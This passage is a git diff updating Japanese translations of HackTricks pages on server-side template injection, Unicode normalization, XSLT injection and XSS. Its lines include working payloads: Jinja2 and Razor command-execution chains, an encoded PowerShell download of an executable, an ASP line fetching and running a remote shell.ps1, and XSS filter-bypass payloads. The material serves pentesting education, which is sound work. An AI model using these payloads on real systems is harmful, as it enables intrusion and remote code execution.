詳細は[https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)を参照してください。 - - ## ### Smarty (PHP) @@ -432,7 +429,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1 ``` **詳細情報** -- Smartyセクションについては[https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)を参照してください +- Smartyセクションの [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) ### Twig (PHP) @@ -484,7 +481,7 @@ array("first_name" => $user.first_name) ### Plates (PHP) -PlatesはPHPにネイティブなテンプレーティングエンジンで、Twigからインスピレーションを得ています。しかし、Twigが新しい構文を導入するのに対し、Platesはテンプレート内でネイティブPHPコードを活用しており、PHP開発者にとって直感的です。 +PlatesはPHPにネイティブなテンプレートエンジンで、Twigからインスピレーションを得ています。しかし、Twigが新しい構文を導入するのに対し、Platesはテンプレート内でネイティブのPHPコードを活用しており、PHP開発者にとって直感的です。 Controller: ```php @@ -674,7 +671,7 @@ URLencoded: | | 出力を評価してレンダリングする | | | HTMLエンコードされた出力を評価してレンダリングする | | | コメント | -| そして | コードを許可する(デフォルトで無効) | +| and | コードを許可する(デフォルトでは無効) | - \= 49 @@ -859,7 +856,7 @@ range.constructor( ``` -[**RCEは**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`に依存しません: +[**RCEは**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`に依存しません: ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} @@ -900,14 +897,14 @@ ${x} ### Razor (.Net) -- `@(2+2) <= Success` -- `@() <= Success` -- `@("{{code}}") <= Success` -- `@ <=Success` -- `@{} <= ERROR!` -- `@{ <= ERRROR!` +- `@(2+2) <= 成功` +- `@() <= 成功` +- `@("{{code}}") <= 成功` +- `@ <= 成功` +- `@{} <= エラー!` +- `@{ <= エラー!` - `@(1+2)` -- `@( //C#Code )` +- `@( //C#コード )` - `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` - `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` @@ -922,7 +919,7 @@ ${x} - `<%= 7*7 %>` = 49 - `<%= "foo" %>` = foo -- `<%= foo %>` = Nothing +- `<%= foo %>` = 何も表示されません - `<%= response.write(date()) %>` = \ ```xml <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> @@ -945,7 +942,7 @@ Perlであっても、RubyのERBのようなタグを使用します。 Goのテンプレートエンジンでは、特定のペイロードを使用してその利用を確認できます: -- `{{ . }}`: データ構造の入力を明らかにします。たとえば、`Password`属性を持つオブジェクトが渡されると、`{{ .Password }}`がそれを露出する可能性があります。 +- `{{ . }}`: データ構造の入力を明らかにします。例えば、`Password`属性を持つオブジェクトが渡されると、`{{ .Password }}`がそれを露出する可能性があります。 - `{{printf "%s" "ssti" }}`: 文字列 "ssti" を表示することが期待されます。 - `{{html "ssti"}}`, `{{js "ssti"}}`: これらのペイロードは "ssti" を返すべきであり、"html" や "js" を追加しないはずです。さらなる指示はGoのドキュメントで探ることができます [here](https://golang.org/pkg/text/template)。 @@ -959,9 +956,9 @@ vbnet Copy code **RCE Exploitation** -RCEの悪用は、`html/template`と`text/template`の間で大きく異なります。`text/template`モジュールは、任意の公開関数を直接呼び出すことを許可します(“call”値を使用)。これは`html/template`では許可されていません。これらのモジュールのドキュメントは [here for html/template](https://golang.org/pkg/html/template/) と [here for text/template](https://golang.org/pkg/text/template/) で入手できます。 +RCEの悪用は、`html/template`と`text/template`の間で大きく異なります。`text/template`モジュールは、任意の公開関数を直接呼び出すことを許可します(“call”値を使用)、これは`html/template`では許可されていません。これらのモジュールのドキュメントは [here for html/template](https://golang.org/pkg/html/template/) と [here for text/template](https://golang.org/pkg/text/template/) で入手できます。 -GoにおけるSSTIを介したRCEでは、オブジェクトメソッドを呼び出すことができます。たとえば、提供されたオブジェクトにコマンドを実行する`System`メソッドがある場合、`{{ .System "ls" }}`のように悪用できます。これを悪用するには、通常、ソースコードにアクセスする必要があります。 +GoにおけるSSTIを介したRCEでは、オブジェクトメソッドを呼び出すことができます。例えば、提供されたオブジェクトにコマンドを実行する`System`メソッドがある場合、`{{ .System "ls" }}`のように悪用できます。これを悪用するには、通常ソースコードへのアクセスが必要です。 ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() @@ -997,9 +994,11 @@ return string(out) ## ブルートフォース検出リスト -{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} +{{#ref}} +https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt +{{#endref}} -## 実践 & 参考文献 +## 実践と参考文献 - [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting) - [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md index c04fcc5b8..8897073a6 100644 --- a/src/pentesting-web/unicode-injection/unicode-normalization.md +++ b/src/pentesting-web/unicode-injection/unicode-normalization.md @@ -2,26 +2,26 @@ {{#include ../../banners/hacktricks-training.md}} -**これは要約です:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)。詳細については確認してください(画像はそこから取得されています)。 +**これは次の要約です:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)。詳細については確認してください(画像はそこから取得されています)。 -## Unicodeと正規化の理解 +## Understanding Unicode and Normalization -Unicode正規化は、文字の異なるバイナリ表現が同じバイナリ値に標準化されるプロセスです。このプロセスは、プログラミングやデータ処理における文字列の取り扱いにおいて重要です。Unicode標準は、2種類の文字の同等性を定義しています。 +Unicode正規化は、文字の異なるバイナリ表現が同じバイナリ値に標準化されるプロセスです。このプロセスは、プログラミングやデータ処理における文字列の取り扱いにおいて重要です。Unicode標準は、2種類の文字の同等性を定義しています: -1. **標準同等性**: 文字が印刷または表示されたときに同じ外観と意味を持つ場合、それらは標準的に同等と見なされます。 -2. **互換性同等性**: 文字が同じ抽象的な文字を表す可能性があるが、異なる方法で表示される場合の弱い同等性の形式です。 +1. **Canonical Equivalence**: 文字が印刷または表示されたときに同じ外観と意味を持つ場合、それらは正準的に同等と見なされます。 +2. **Compatibility Equivalence**: 文字が同じ抽象的な文字を表す可能性があるが、異なる方法で表示される場合の弱い同等性の形式です。 -**4つのUnicode正規化アルゴリズム**があります:NFC、NFD、NFKC、NFKD。それぞれのアルゴリズムは、標準的および互換性のある正規化技術を異なる方法で使用します。より深く理解するためには、[Unicode.org](https://unicode.org/)でこれらの技術を探ることができます。 +**Unicode正規化アルゴリズムは4つ**あります:NFC、NFD、NFKC、NFKD。それぞれのアルゴリズムは、正準的および互換性のある正規化技術を異なる方法で使用します。より深く理解するためには、[Unicode.org](https://unicode.org/)でこれらの技術を探ることができます。 -### Unicodeエンコーディングに関する重要なポイント +### Key Points on Unicode Encoding -Unicodeエンコーディングを理解することは、異なるシステムや言語間の相互運用性の問題に対処する際に重要です。主なポイントは以下の通りです。 +Unicodeエンコーディングを理解することは、特に異なるシステムや言語間の相互運用性の問題に対処する際に重要です。主なポイントは次のとおりです: -- **コードポイントと文字**: Unicodeでは、各文字または記号に「コードポイント」として知られる数値が割り当てられています。 -- **バイト表現**: コードポイント(または文字)は、メモリ内で1つ以上のバイトで表現されます。たとえば、LATIN-1文字(英語圏で一般的)は1バイトを使用して表現されます。しかし、より多くの文字セットを持つ言語は、表現のためにより多くのバイトを必要とします。 -- **エンコーディング**: この用語は、文字がバイトの系列に変換される方法を指します。UTF-8は一般的なエンコーディング標準で、ASCII文字は1バイトで表現され、他の文字には最大4バイトが使用されます。 -- **データ処理**: データを処理するシステムは、バイトストリームを正しく文字に変換するために使用されるエンコーディングを認識している必要があります。 -- **UTFのバリアント**: UTF-8の他にも、最小2バイト(最大4バイト)を使用するUTF-16や、すべての文字に4バイトを使用するUTF-32などの他のエンコーディング標準があります。 +- **Code Points and Characters**: Unicodeでは、各文字または記号に「コードポイント」として知られる数値が割り当てられています。 +- **Bytes Representation**: コードポイント(または文字)は、メモリ内で1つ以上のバイトで表されます。たとえば、LATIN-1文字(英語圏で一般的)は1バイトを使用して表されます。ただし、より多くの文字セットを持つ言語は、表現のためにより多くのバイトが必要です。 +- **Encoding**: この用語は、文字がバイトの系列に変換される方法を指します。UTF-8は一般的なエンコーディング標準で、ASCII文字は1バイトで表され、他の文字には最大4バイトが使用されます。 +- **Processing Data**: データを処理するシステムは、バイトストリームを正しく文字に変換するために使用されるエンコーディングを認識している必要があります。 +- **Variants of UTF**: UTF-8の他にも、UTF-16(最小2バイト、最大4バイトを使用)やUTF-32(すべての文字に4バイトを使用)などの他のエンコーディング標準があります。 これらの概念を理解することは、Unicodeの複雑さとそのさまざまなエンコーディング方法から生じる潜在的な問題を効果的に処理し、軽減するために重要です。 @@ -43,7 +43,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch ユーザー入力を使用してSQLクエリを作成するために、文字 `'` を使用しているウェブページを想像してください。このウェブは、セキュリティ対策として、ユーザー入力から **`'`** のすべての出現を **削除**しますが、**その削除後**、**クエリの作成前**に、ユーザーの入力を **Unicode** を使用して **正規化**します。 -その後、悪意のあるユーザーは、`' (0x27)` に相当する別のUnicode文字 `%ef%bc%87` を挿入することができ、入力が正規化されると、シングルクォートが作成され、**SQLインジェクションの脆弱性**が現れます: +そのため、悪意のあるユーザーは、`' (0x27)` に相当する別のUnicode文字 `%ef%bc%87` を挿入することができ、入力が正規化されると、シングルクォートが作成され、**SQLインジェクションの脆弱性**が現れます: ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>) @@ -75,7 +75,9 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch ``` #### sqlmap テンプレート -{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %} +{{#ref}} +https://github.com/carlospolop/sqlmap_to_unicode_template +{{#endref}} ### XSS (クロスサイトスクリプティング) diff --git a/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md b/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md index 08fb41249..522d85cc3 100644 --- a/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md +++ b/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md @@ -4,15 +4,15 @@ ## 基本情報 -XSLTは、XMLドキュメントを異なるフォーマットに変換するために使用される技術です。バージョンは1、2、3の3つがあり、バージョン1が最も一般的に利用されています。変換プロセスは、サーバー上またはブラウザ内で実行できます。 +XSLTは、XMLドキュメントを異なるフォーマットに変換するために使用される技術です。バージョン1、2、3の3つのバージョンがあり、バージョン1が最も一般的に利用されています。変換プロセスは、サーバー上またはブラウザ内で実行できます。 最も頻繁に使用されるフレームワークには以下が含まれます: -- **Libxslt** from Gnome, -- **Xalan** from Apache, -- **Saxon** from Saxonica. +- **Libxslt**(Gnome製)、 +- **Xalan**(Apache製)、 +- **Saxon**(Saxonica製)。 -XSLTに関連する脆弱性を悪用するには、xslタグがサーバーサイドに保存され、そのコンテンツにアクセスする必要があります。このような脆弱性の例は、以下のソースに記載されています: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/). +XSLTに関連する脆弱性を悪用するには、xslタグがサーバーサイドに保存され、そのコンテンツにアクセスする必要があります。このような脆弱性の例は、以下のソースに記載されています:[https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)。 ## 例 - チュートリアル ```bash @@ -367,6 +367,8 @@ version="1.0"> ``` +(Example from [http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls)) + ## More Payloads - Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection) @@ -374,7 +376,9 @@ version="1.0"> ## **Brute-Force Detection List** -{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %} +{{#ref}} +https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt +{{#endref}} ## **References** diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index f79fef248..955966845 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -3,9 +3,9 @@ ## 方法論 1. **あなたが制御する任意の値** (_パラメータ_、_パス_、_ヘッダー_?、_クッキー_?) がHTMLに**反映**されているか、**JS**コードによって**使用**されているかを確認します。 -2. **反映されている/使用されているコンテキスト**を見つけます。 +2. **反映されている/使用されているコンテキストを見つけます**。 3. **反映されている場合** -1. **使用できる記号を確認**し、それに応じてペイロードを準備します: +1. **どの記号を使用できるかを確認し**、それに応じてペイロードを準備します: 1. **生のHTML**内で: 1. 新しいHTMLタグを作成できますか? 2. `javascript:`プロトコルをサポートするイベントや属性を使用できますか? @@ -14,7 +14,7 @@ 5. JSコードを実行するHTMLタグを作成できない場合、[**ダングリングマークアップ - HTMLスクリプトレスインジェクション**](../dangling-markup-html-scriptless-injection/)を悪用できるかもしれません。 2. **HTMLタグ内**で: 1. 生のHTMLコンテキストに抜け出せますか? -2. JSコードを実行するための新しいイベント/属性を作成できますか? +2. JSコードを実行する新しいイベント/属性を作成できますか? 3. あなたが閉じ込められている属性はJS実行をサポートしていますか? 4. 保護を回避できますか? 3. **JavaScriptコード内**で: @@ -22,10 +22,10 @@ 2. 文字列をエスケープして異なるJSコードを実行できますか? 3. テンプレートリテラル \`\` に入力がありますか? 4. 保護を回避できますか? -4. 実行されているJavaScript **関数** +4. 実行されているJavaScript **関数**: 1. 実行する関数の名前を指定できます。例: `?callback=alert(1)` 4. **使用されている場合**: -1. **DOM XSS**を悪用できるかもしれません。あなたの入力がどのように制御されているか、そしてあなたの**制御された入力がどのシンクで使用されているか**に注意してください。 +1. **DOM XSS**を悪用できるかもしれません。あなたの入力がどのように制御されているか、そしてあなたの**制御された入力がどのシンクで使用されているかに注意してください**。 複雑なXSSに取り組む際に知っておくと興味深いこと: @@ -43,23 +43,23 @@ XSSを成功裏に悪用するために最初に見つけるべきことは、** ## コンテキスト -XSSを悪用しようとする際に最初に知っておくべきことは、**あなたの入力がどこに反映されているか**です。コンテキストによって、異なる方法で任意のJSコードを実行できるようになります。 +XSSを悪用しようとする際に最初に知っておくべきことは、**あなたの入力がどこに反映されているか**です。コンテキストに応じて、異なる方法で任意のJSコードを実行できるようになります。 ### 生のHTML -あなたの入力が**生のHTML**ページに**反映されている**場合、JSコードを実行するためにいくつかの**HTMLタグ**を悪用する必要があります:``がエンコードまたは削除されている)、タグに応じてJSコードを実行する**イベントを作成**できるかもしれません:`" autofocus onfocus=alert(1) x="` -3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**によって、**すべての値を制御しているか、一部だけを制御しているか**に応じて悪用できるかもしれません。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`** +3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**すべての値を制御しているか、一部だけを制御しているか**によって悪用できるかもしれません。例えば、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`** 4. あなたの入力が「**悪用できないタグ**」内に反映されている場合、脆弱性を悪用するために**`accesskey`**トリックを試みることができます(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="`** -クラス名を制御する場合のAngularによるXSSの奇妙な例: +クラス名を制御している場合のAngularがXSSを実行する奇妙な例: ```html
aaa @@ -98,7 +98,7 @@ js-hoisting.md ![](<../../images/image (711).png>) -脆弱性がある場合、**値を送信するだけでアラートをトリガーできる**かもしれません: **`?callback=alert(1)`**。ただし、これらのエンドポイントは**内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です**(**`[\w\._]`**)。 +もし脆弱であれば、**値を送信するだけでアラートをトリガーできる可能性があります**: **`?callback=alert(1)`**。ただし、これらのエンドポイントは、**コンテンツを検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です**(**`[\w\._]`**)。 しかし、その制限があっても、いくつかのアクションを実行することは依然として可能です。これは、有効な文字を使用して**DOM内の任意の要素にアクセスできるためです**: @@ -124,7 +124,7 @@ some-same-origin-method-execution.md ### DOM -**JSコード**が、攻撃者によって制御される**データ**(例: `location.href`)を**安全でない**方法で使用しています。攻撃者は、これを悪用して任意のJSコードを実行することができます。 +**攻撃者によって制御されたデータ**を**安全でない**方法で使用している**JSコード**があります。例えば、`location.href`。攻撃者は、これを悪用して任意のJSコードを実行することができます。 {{#ref}} dom-xss.md @@ -132,7 +132,7 @@ dom-xss.md ### **ユニバーサルXSS** -この種のXSSは**どこにでも**見つけることができます。これは、Webアプリケーションのクライアントのエクスプロイトだけでなく、**任意の** **コンテキスト**にも依存します。この種の**任意のJavaScript実行**は、**RCE**を取得したり、クライアントやサーバーの**任意の** **ファイル**を**読み取ったり**するために悪用されることさえあります。\ +この種のXSSは**どこにでも**見つけることができます。これは、Webアプリケーションのクライアントの悪用だけでなく、**あらゆる****コンテキスト**に依存します。この種の**任意のJavaScript実行**は、**RCE**を取得したり、クライアントやサーバーの**任意のファイルを読み取ったり**するために悪用されることさえあります。\ いくつかの**例**: {{#ref}} @@ -149,8 +149,8 @@ server-side-xss-dynamic-pdf.md ## 生のHTML内に注入 -あなたの入力が**HTMLページ内に反映される**場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、`<`を悪用して新しいタグを作成できるかどうかを確認することです: その**文字**を**反映**させて、それが**HTMLエンコード**されているか、**削除**されているか、または**変更なしで反映**されているかを確認してください。**最後のケースでのみ、このケースを悪用できるでしょう**。\ -この場合も、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)**を念頭に置いてください。**\ +あなたの入力が**HTMLページ内に反映される**場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、`<`を悪用して新しいタグを作成できるかどうかを確認することです: その**文字**を**反映**させて、それが**HTMLエンコード**されているか、**削除**されているか、または**変更なしで反映されているか**を確認してください。**最後のケースでのみ、このケースを悪用できるでしょう**。\ +この場合も、**クライアントサイドテンプレートインジェクション**を考慮してください[**Client Side Template Injection**](../client-side-template-injection-csti.md)**。**\ &#xNAN;_**注: HTMLコメントは、\*\*\*\*\*\*** \***\*`-->`\*\*** \***\*または\*\*\*\*\*\***`--!>`\*\**で閉じることができます。_ この場合、ブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます: @@ -166,11 +166,11 @@ alert(1) ### タグ/イベントのブルートフォース -[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)に移動し、_**タグをクリップボードにコピー**_をクリックします。次に、Burp intruderを使用してそれらすべてを送信し、WAFによって悪意のあるものとして発見されなかったタグがあるかどうかを確認します。使用できるタグが特定できたら、有効なタグを使用して**すべてのイベントをブルートフォース**できます(同じウェブページで_**イベントをクリップボードにコピー**_をクリックし、前と同じ手順に従います)。 +[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)に移動し、_**タグをクリップボードにコピー**_をクリックします。次に、Burp intruderを使用してそれらすべてを送信し、WAFによって悪意のあるものとして発見されなかったタグがあるかどうかを確認します。使用できるタグを特定したら、有効なタグを使用して**すべてのイベントをブルートフォース**できます(同じウェブページで_**イベントをクリップボードにコピー**_をクリックし、前と同じ手順に従います)。 ### カスタムタグ -有効なHTMLタグが見つからなかった場合、**カスタムタグを作成**し、`onfocus`属性でJSコードを実行することを試みることができます。XSSリクエストでは、URLを`#`で終わらせてページがそのオブジェクトに**フォーカス**し、コードを**実行**する必要があります。 +有効なHTMLタグが見つからなかった場合、**カスタムタグを作成**し、`onfocus`属性でJSコードを実行することを試みることができます。XSSリクエストでは、URLを`#`で終わらせてページがそのオブジェクトに**フォーカス**し、コードを**実行**する必要があります: ``` /?search=#x ``` @@ -228,18 +228,18 @@ onerror=alert`1` ``` ### 長さバイパス(小さなXSS) -> [!NOTE] > **異なる環境のためのより小さなXSS** ペイロードは [**ここにあります**](https://github.com/terjanq/Tiny-XSS-Payloads) と [**ここにあります**](https://tinyxss.terjanq.me)。 +> [!NOTE] > **異なる環境のためのより小さなXSS** ペイロードは [**こちら**](https://github.com/terjanq/Tiny-XSS-Payloads) と [**こちら**](https://tinyxss.terjanq.me) で見つけることができます。 ```html
``` -### 属性内で +### 属性内 -たとえ**属性から逃げることができなくても**(`"`がエンコードまたは削除されている場合)、**どの属性**にあなたの値が反映されているかに応じて、**すべての値を制御しているか、一部だけを制御しているか**によって、それを悪用することができます。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。\ +たとえ**属性から逃げることができなくても**(`"`がエンコードまたは削除されている場合)、**どの属性**にあなたの値が反映されているかに応じて、**すべての値を制御しているのか、一部だけを制御しているのか**によって、悪用することができます。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。\ もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できることです:**`href="javascript:alert(1)"`** **HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス** -HTMLタグ属性の値内の**HTMLエンコードされた文字**は**ランタイムでデコードされます**。したがって、次のようなものが有効になります(ペイロードは太字で示されています):`
戻る` +HTMLタグ属性の値内の**HTMLエンコードされた文字**は**ランタイムでデコードされます**。したがって、次のようなものが有効になります(ペイロードは太字で示されています):`戻る ` **あらゆる種類のHTMLエンコードが有効であることに注意してください**: ```javascript @@ -291,11 +291,11 @@ HTMLタグ属性の値内の**HTMLエンコードされた文字**は**ランタ a a ``` -**URLエンコードも機能することに注意してください:** +**URLエンコードも機能します:** ```python Click ``` -**Unicodeエンコードを使用して内部イベントをバイパスする** +**Unicodeエンコードを使用して内部イベントをバイパス** ```javascript //For some reason you can use unicode to encode "alert" but not "(1)" @@ -351,7 +351,7 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode ```javascript ``` -さらに、これらのケースには別の**素晴らしいトリック**があります:**`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。** したがって、**シングルクォート**を使用して**文字列**から**エスケープ**する必要がある場合、**URLエンコードされている**のを見たら、**それは重要ではありません。** 実行時に**シングルクォート**として**解釈**されます。 +さらに、これらのケースには別の**素晴らしいトリック**があります:**`javascript:...`内の入力がURLエンコードされていても、実行される前にURLデコードされます。** したがって、**シングルクォート**を使用して**文字列**から**エスケープ**する必要がある場合、**URLエンコードされている**のを見たら、**それは重要ではありません。** 実行時に**シングルクォート**として**解釈されます。** ```javascript '-alert(1)-' %27-alert(1)-%27 @@ -383,10 +383,10 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode ../reverse-tab-nabbing.md {{#endref}} -### イベントハンドラーのバイパス +### イベントハンドラのバイパスについて -まず、このページ ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) で役立つ **"on" イベントハンドラー** を確認してください。\ -このイベントハンドラーの作成を妨げるブラックリストがある場合は、次のバイパスを試すことができます: +まず、このページ ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) で役立つ **"on" イベントハンドラ** を確認してください。\ +このイベントハンドラの作成を妨げるブラックリストがある場合は、次のバイパスを試すことができます: ```javascript //No safari @@ -448,7 +448,7 @@ onbeforetoggle="alert(2)" /> ### CSSガジェット -もし、**非常に小さな部分**のウェブでXSSを見つけた場合、何らかのインタラクションが必要な場合(フッターの小さなリンクにonmouseover要素があるかもしれません)、その要素が占める**スペースを変更して**リンクが発火する確率を最大化することを試みることができます。 +もし、**非常に小さな部分**のウェブでXSSを見つけた場合、何らかのインタラクションが必要です(おそらくフッターの小さなリンクにonmouseover要素がある場合)、その要素が占める**スペースを変更して**、リンクが発火する確率を最大化することを試みることができます。 例えば、要素に次のようなスタイルを追加することができます:`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` @@ -466,7 +466,7 @@ onbeforetoggle="alert(2)" /> このトリックは[https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)から取られました。 -## JavaScriptコード内へのインジェクション +## JavaScriptコード内への注入 この場合、あなたの**入力**は`.js`ファイルのJSコード内に**反映される**か、``タグの間、またはJSコードを実行できるHTMLイベントの間、または`javascript:`プロトコルを受け入れる属性の間にあります。 @@ -488,8 +488,8 @@ onbeforetoggle="alert(2)" /> ``` ### テンプレートリテラル \`\` -**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\ -したがって、入力がバックティックを使用しているJS文字列内で**反映**されていることがわかった場合、`${ ... }`構文を悪用して**任意のJSコード**を実行できます: +**文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `** も受け入れます。これはテンプレートリテラルとして知られ、`${ ... }`構文を使用して**JS式を埋め込む**ことを可能にします。\ +したがって、バックティックを使用しているJS文字列の中に入力が**反映**されていることがわかった場合、構文`${ ... }`を悪用して**任意のJSコード**を実行することができます: これは次のように**悪用**できます: ```javascript @@ -562,7 +562,7 @@ eval(8680439..toString(30))(983801..toString(36)) #!This is a 1 line comment, but "#!" must to be at the beggining of the first line -->This is a 1 line comment, but "-->" must to be at the beggining of the first line ``` -**JavaScriptの改行(から** [**JavaScriptの改行**](./#javascript-new-lines) **トリック)** +**JavaScriptの新しい行(から** [**JavaScriptの新しい行**](./#javascript-new-lines) **トリック)** ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10) @@ -745,14 +745,14 @@ top[8680439..toString(30)](1) dom-xss.md {{#endref}} -そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのか、そしてどのように悪用されるのかについての詳細な説明があります**。\ -また、**前述の投稿の最後に** [**DOM Clobbering攻撃**](dom-xss.md#dom-clobbering)に関する説明があることを忘れないでください。 +そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのか、そしてどのように悪用されるのかについての詳細な説明**が見つかります。\ +また、**前述の投稿の最後に** [**DOM Clobbering攻撃**](dom-xss.md#dom-clobbering)についての説明があることを忘れないでください。 ### Self-XSSのアップグレード ### Cookie XSS -もしペイロードをクッキー内に送信することでXSSをトリガーできる場合、これは通常self-XSSです。しかし、もし**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインまたは他のサブドメイン(クッキーXSSに対して脆弱なもの)でクッキーXSSをトリガーすることができます。これにはクッキー投げ攻撃を使用できます: +もし、ペイロードをクッキー内に送信することでXSSをトリガーできる場合、これは通常self-XSSです。しかし、**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインまたは他のサブドメイン(クッキーXSSに対して脆弱なもの)でクッキーXSSをトリガーすることができます。これには、クッキー投げ攻撃を使用できます: {{#ref}} ../hacking-with-cookies/cookie-tossing.md @@ -762,7 +762,7 @@ dom-xss.md ### 管理者にセッションを送信する -ユーザーが管理者とプロフィールを共有できる場合、もしself 